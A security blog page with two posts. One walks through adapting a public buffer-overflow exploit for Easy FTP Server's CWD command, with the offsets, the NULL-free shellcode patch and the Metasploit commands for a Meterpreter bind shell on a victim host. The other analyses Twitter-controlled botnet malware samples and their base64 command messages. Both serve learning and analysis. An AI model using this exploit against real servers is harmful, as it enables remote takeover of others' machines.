Posts Tagged ‘payload’

Increasing Payload Size w/ Return Address Overwrite

February 28, 2010 7 comments

While perusing Bugtraq recently, I came across Jon Butler’s Proof of Concept (PoC) exploit for Easy FTP Server, an obscure FTP server.  I’m no expert on exploit development, but it is something I’ve been trying to spend more time on lately.  For practice, I decided to try to modify Jon’s exploit for a more interesting payload (all the public exploits I’ve seen launch calc.exe).  I figured this would only take a few minutes, but things got a little complicated due to the somewhat small size of the buffer over which I had control (268 bytes).  After the jump, I explain how I overcame the limited space problem and reworked Jon’s exploit with a Meterpreter payload (326 bytes).  Debugging experience and a basic understanding of stack based buffer overflow exploitation are required.

Get my exploit (

How do we trigger the vulnerability? From Jon’s PoC:

Lack of input length checks for the CWD command result in a buffer
overflow vulnerability, allowing the execution of arbitrary code
by a remote attacker.

Jon gets to the vulnerable code and attacks it (anon access is enabled by default):

s.send('USER anonymous\r\n')
s.send('PASS anonymous\r\n')
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')

How much space do we have for our payload (shellcode) before the return address? Again, Jon already did the work for us:

nopsled = "\x90" * (268 - len(shellcode))

268 bytes is enough space to launch calc.exe, add a user account and some other items available to standard Metasploit payloads, but it is insufficient for something more exciting like a bind_tcp or Meterpreter payload:

$ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)

$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b \
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)

The Problem: How do we increase the amount of space available for our payload?

Referencing Jon’s PoC, one can easily deduce that Easy FTP Server wasn’t compiled with any stack protection (e.g. the /GS switch).  Jon worked against a x86 XPSP3 target (as did I), which means software DEP/SafeSEH operates on a whitelist by default (essential Windows services only); ASLR is nonexistent. and isn’t a concern anyways since Jon returns to an address on the (eXecutable) stack – no need for even a JMP address here.  Note: a JMP address would be more reliable when targeting different Windows versions, and will be something I will look into should I decide to generalize this exploit.

First, let’s take a look at Jon’s return address:

ret = "\x58\xFD\x9A\x00" # 0x009AFD58

The first thing I noticed is that the return address contains a NULL byte (\x00).  Had Easy FTP Server (EFS) employed a function analogous to strcpy(), then EFS would have stopped copying our attack string when it encountered this NULL byte.  Luckily this wasn’t exactly the case; I could write past the NULL byte (more on this later).

Aside: if you weren’t concerned about writing past the return address and Easy FTP Server had employed a strcpy()-like function, then you’re still in luck: thanks to the little-endianness of Intel’s x86 architecture, the NULL byte would appear at the very end of your attack string, making this a non-issue.

I decided to press my luck and attempt to write beyond the NULL byte in the return address (I later found another exploit that would have saved me this trouble).  I replaced Jon’s payload with an INT3 instruction (\xCC).  By inserting the INT3 breakpoint, I was able to examine the stack and determine the amount of bytes I could write beyond ret. Pictured: my nopsled, Jon’s ret & a bunch of ‘A’s (it continues outside of the screenshot, obviously):

I inserted a bunch of 'A's (0x41) after the ret value and conducted a binary search to determine the maximum number I had control over. I'm using Immunity Debugger here.


Get the modified code I used to do the above

I determined that I could write no more than 233 ‘A’s past the return address and still have reliable execution:

s.send('CWD ' + payload + 'A' * 233 + '\r\n')

Sweet… another 233 bytes!  Of course at this point I’ve severely smashed the stack and am overwriting the next stack frame.  Luckily, EFS is an FTP server and each connection is handled with a new thread.  Worst case scenario: I crash my thread and the server remains available to other users.  This is a great feature if you’re trying to be sneaky about the whole pwning thing.

So to review, we have 268 bytes before the return address, 4 bytes for the return address and 233 bytes past the return address.  268 + 4 + 233 = 505 bytes… more than enough space for the payloads I’m trying to inject.

Next Problem: Assuming our payload will be positioned at the highest addresses possible (at the end of the area we can write to), the return address will bisect any payload longer than 233 bytes.

It’s a good idea to insert your payload at the end of any buffer you control, particularly for Metasploit-encoded payloads, since they require a certain amount of slack space to decode themselves.  The nopsled doubles as this slack space.  So we must insert an appropriate return address in order to gain execution, but that return address will bisect our payload should our payload be longer than 233 bytes.

Next solution: Modify the return address after we have gained execution.  In order to do this, I wrote some NULL-free assembly that overwrites the return address with 4 bytes of the payload.  I called this tiny function fixRet.

Directly after we send our attack string, the stack will look like this (assuming the payload is longer than 233 bytes):

0x009AFD58                                    0x009AFF51
fixRet | nopsled | payload, part1 | ret | payload, part2

The payload is bisected by ret and is missing the 4 bytes that ret is occupying.  After fixRet executes, the stack will look like this:

0x009AFD58                                    0x009AFF51
fixRet | nopsled | payload..............................

At this point I needed to decide what payload to use because I needed to know what I was going to overwrite ret with.  While developing this exploit, I went through many different payloads, but the remaining commentary will assume the windows/meterpreter/bind_tcp windows/meterpreter/meterpreter_bind_tcp payload in my final exploit.  If I find time to rewrite this exploit using Metasploit’s framework, the following gcc / objdump steps will be unnecessary. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

I’m a nerd, but I don’t enjoy doing x86 binary in my head so I enlisted gcc & objdump to find the hex values required for such a fixRet operation.  (It took me a few minutes to set up objdump on OS X).  I wrote a quick C program, making sure to tell gcc exactly what assembly I wanted in my output.

Excerpt from the C program (download the complete version):

#include <stdlib.h>

int main (void)
 /* clear out 3 registers */
 __asm__("xor %eax, %eax");
 __asm__("xor %ebx, %ebx");
 __asm__("xor %ecx, %ecx");

 /* move 0x009afe64 into EAX without using NULLs */
 __asm__("mov $0xAA3054CE, %eax");
 __asm__("mov $0xAAAAAAAA, %ebx");
 __asm__("xor %ebx, %eax");

 /* write shellcode into ret's address */
 __asm__("mov $0xAEE0E45F, %ecx"); // meterpreter_bind_tcp
 __asm__("mov %ecx, (%eax)");

Remember when I said that I could write past the NULL in the return address and there would be more on this later?  Well, I could write after the NULL in ret, but could not have any NULLs before said address.  My guess is that the logic behind the vulnerable CWD command checks for NULLs in its buffer after the entire buffer has been written, rather than on the fly.  Such logic would allow us to write NULLs over the return address (because the function would not think to look there), but wouldn’t allow us to write NULLs prior to the return address (because the vulnerable function would error out and the thread would be killed).

The above C program does what we need it to do without using any NULLs.  I got around this by zeroing the registers with XOR and having the exploited process “fix” the address of ret (by simply XORing it with all A’s).  The ret value lives at 0x009AFE64 = 0xAAAAAAAA (XOR) 0xAA3054CE.

I translated this into hex values for our attack string (gcc compiles & assembles, objdump disassembles):

gcc -O0 RCE_easy_ftp_server_1.7.0.2.c -o fix_ret
objdump -d fix_ret

After running the program through gcc and objdump, I got my hex values (look at the main section):

31 c0                    xor    %eax,%eax
31 db                    xor    %ebx,%ebx
31 c9                    xor    %ecx,%ecx
b8 ce 54 30 aa           mov    $0xaa3054ce,%eax
bb aa aa aa aa           mov    $0xaaaaaaaa,%ebx
31 d8                    xor    %ebx,%eax
b9 5f e4 e0 ae           mov    $0xaee0e45f,%ecx
89 08                    mov    %ecx,(%eax)

Now we have fixRet, we can easily calculate our nopsled and of course we know ret and our payload.  We’re done!

I could explain more, but it would probably make more sense to get the code and attempt exploitation yourself.

Get my exploit (

I included everything necessary for injecting a meterpreter/bind_tcp payload and a shell_bind_tcp payload, both operating over port 4444.  The bind_tcp payload items are commented out.

Using the exploit (assuming meterpreter/bind_tcp payload):

(start Easy FTP Server on victim machine)
./ -t (victim IP) -p 21
use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST (victim IP)

After the meterpreter dll is injected, you should have a working session :P

As always, comments are appreciated.  If I have time I’ll make this into a proper Metasploit module… none of this gcc / objdump silliness. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

A Closer Look at the Twitter-Controlled Botnet (Part 1)

August 16, 2009 3 comments

Update 2: mirrored malware links taken down.  This is not something in my control.

Update: this entry is now also a guest post over at my colleague Brett Hardin’s Miscellaneous Security blog.  Thanks Brett!

Part 1 of this post will cover getting the malware, decoding it and scanning it. If I have time, Part 2 will be some disassembly & debugging (both static and dynamic).

The domains found hosting malware have been notified (Ubuntu, The malware has been taken down from these sites in order to prevent further propagation, but is offered below in a password protected archive for the reader to practice on.


I wasn’t aware of Jose Nazario’s post concerning this topic while I was conducting this research; I had only been exposed to the Wired Threat Level article prior to researching. So while I present some of the same information as Jose, this duplication of information only came to my attention afterwords.

If you’ve read Jose’s post, this post may still be worth the read for several reasons:

  • Jose and I differed on some of the tools & techniques used.
  • I attempt to offer a more detailed description of my methods/logic as a pseudo-tutorial.
  • I mirror all the necessary info so the readers can do this themselves.
  • There’s a quick discussion on some malware I found hosted at (Jose probably saw it too but didn’t mention it) as well as a possible lead to a very sloppy botnet master.


Getting the Malware:
I was reading some feeds on Friday (Aug 14th)
and came across Wired’s article on outsourcing botnet C&C (command & control) to Twitter. What caught my eye wasn’t so much the article itself but the screenshot accompanying the article. Many times when major outlets report on botnet/worms/viruses/etc, crucial details are left out either intentionally (to protect the innocent) or accidentally. This was not the case with this article.

I immediately recognized the tweets in the above screenshot as being base64 encoded. Furthermore, all of the posts started with the same 18 characters, indicating to me that these are not encrypted nor obfuscated beyond the simple base64 encoding. Perhaps the botnet herders are using Robin Wood’s KreiosC2 for nefarious purposes? This is evidence for a fairly unsophisticated botnet herder.

I transcribed the messages captured in the screenshot and decoded them in order from most recent to least recent. Some contained what appeared to be multiple links (redirections valid as of Aug 14th, 2009):

aHR0cDovL2JpdC5seS8xN2EzdFMg (malware)

aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 (malware)
|_ (unrelated?)

aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN (malware)
|_ (unrelated?)

aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b (malware)
|_ (unrelated?)

aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC (malware)
|_ (unrelated?)

aHR0cDovL2JpdC5seS9RakFaWQ== (dead link)

aHR0cDovL2JpdC5seS83UGFEOQ== (dead link)

aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 (dead link)
|_ (unrelated?)

There’s several interesting items here, in no particular order:

  1. It appears as though Debian is better at proactively moderating these type of posts than Ubuntu is (all the Debian links were dead when I tried them but the Ubuntu link worked fine). In Ubuntu’s defense, however, the offending links were killed within an hour of me notifying them.
  2. Payloads are being pushed out in rapid succession to both the C&C venues (Twitter, Jaiku, Tumblr, etc) and the payload hosting sites, indicating that this process has been automated. Automated payload deployment was determined by looking at some of the URLs linked in the Twitter screenshot:

    It can be deduced from these URLs that malware was uploaded to in a short enough time period to warrant consecutive numbers. Furthermore, it is clear that whoever controlled the Twitter C&C made these uploads as well, judging by the upd4t3 handle present across services.

  3. All the Twitter posts that included two redirect URLs appear to have a nonsense link as the second URL. If anyone has a theory as to the purpose of these secondary links, please leave a comment or shoot me an email @ my[remove_this]
  4. The botnet herder’s name is Rafael? I took another look at the malware hosted at Ubuntu and removed the ‘plain/‘:
  5. (mirror)

Decoding the Malware:

Get the base64 samples (password: infected) (LINK REDACTED).
Turning these base64 strings into something meaningful was more involved than simply decoding them. Still, the first step was to decode them. For that I wrote a little Python script. (I’m new to Python and figured this would be a simple exercise. It was.)

# decodes base64 files
# (C) 2009 Paul Makowski. GPLv2.
# usage: python / (encoded_file) (output_file)

import base64
import sys

encodedFile = sys.argv[1]
outputFile = sys.argv[2]

encodedFileHndl = open(encodedFile,”r”)
outputFileHndl = open(outputFile, “w”)



After decoding the malware I now had 5 files and named them after their URLs: 9506, 9507, 9508, 9509 & 252515.

I ran an md5 on all of them (I used OS X… it would be md5sum in Linux):

$ md5 *.base64
MD5 (252515.base64) = a5f84f74cf9aa832355d5cd558cbfca6
MD5 (9506.base64) = 7743eac81be2b803093a6277323f17cb
MD5 (9507.base64) = a5f84f74cf9aa832355d5cd558cbfca6
MD5 (9508.base64) = a5051a6e5365bdc4dd8267e62d3e2902
MD5 (9509.base64) = 1a81e69e65b75f8b9e72e94c6f86a52b

As you can see, payloads 9507 from and 252515 from are actually the same payload. (Yes I know about md5 collisions…but there’s very little point to messing with the hashes in this scenario.)

So now we’ve narrowed down the available payloads to 4: 9506 through 9509. I named these 9506.bin through 9509.bin (since at this point I didn’t know their true filetype).

Making Sense of the Malware:

The first thing I tried after I de-base64’ed the payloads was to take a look at them with a hex editor. Being on OS X, I used Hex Fiend (if I were on Windows, I’d use WinHex; Linux I’d use hexedit):

Hex Fiend

Hex Fiend

I took note of two items:

  1. This is not a Windows executable; this is a .zip file. I determined this by the magic number at the beginning of the file (seen above). PK means zip; MZ (or ZM) means Windows PE. file verified these findings:

    $ file 950*.bin
    9506.bin: Zip archive data, at least v2.0 to extract
    9507_252515.bin: Zip archive data, at least v2.0 to extract
    9508.bin: Zip archive data, at least v2.0 to extract
    9509.bin: Zip archive data, at least v2.0 to extract

  2. There’s a file called gbpm.dll inside the archive. At the bottom of the binary (not shown), is another string that reads gbpm.exe. This also turned out to be a file in the archive.

All of the other payloads appeared the same way under a hex editor. I renamed them all from *.bin to *.zip and unzipped them.

Now I had four folders, each containing a unique gdpm.dll and gdpm.exe. I renamed all the gdpm.exes to gdpm.livemalware so I wouldn’t accidentally execute them on my Windows box.

I checked the md5s to see if any were duplicates:

$ md5 950*/*.dll && md5 950*/*.livemalware
MD5 (9506/gbpm.dll) = 0dc041988367e4ca0faa1f119c748efb
MD5 (9507_252515/gbpm.dll) = 6cd9ee23dedf7c6a53668a7c4f830d78
MD5 (9508/gbpm.dll) = 1a1b3c05470ea788a86c4b9ed5c9b28f
MD5 (9509/gbpm.dll) = b15df1614d09ebb7b15d04ce914ee05f
MD5 (9506/gbpm.livemalware) = 4c537d461490ac998256c6deca11eeb4
MD5 (9507_252515/gbpm.livemalware) = 359ca7a025c3fe3cb7f60a3dd8ff4478
MD5 (9508/gbpm.livemalware) = b3a7f3145dc93e8721a4078f5e32fb44
MD5 (9509/gbpm.livemalware) = 08b05a33c6a989cc9c3f0a0918afa943

None were the same – I have 4 different pairs of malware samples :)

I uploaded the files to Virustotal to see if any were recognized. AV detection was poor to say the least (not that I’m surprised):

9506/gbpm.dll (4/41 antivirus detection) (new file)
9506/gbpm.exe (11/39 antivirus detection) (new file)
9507_252515/gbpm.dll (4/41 antivirus detection) (new file)
9507_252515/gbpm.exe (13/39 antivirus detection)
9508/gbpm.dll (5/41 antivirus detection)
9508/gbpm.exe (13/39 antivirus detection)
9509/gbpm.dll (6/41 antivirus detection)
9509/gbpm.exe (8/41 antivirus detection)

The files marked new file had not been seen by Virustotal previously. All .dlls had a fairly low detection rate. That combined with the fact that some had not been seen by Virustotal previously reminds me of PandaLabs recent press release on viruses only being useful for 24 hours.

So what kind of malware do we have anyways? Virustotal points toward Eldorado or Svelta for some files. Jose says in his post that these aren’t the botnet control agents, but are additional feature-adding payloads. Perhaps this means keyloggers, DDoS tools, etc?


In Part 2 of this post, I will delve into dissecting the malware and making sense of what it does. Hopefully manual analysis will yield more information than AV signatures…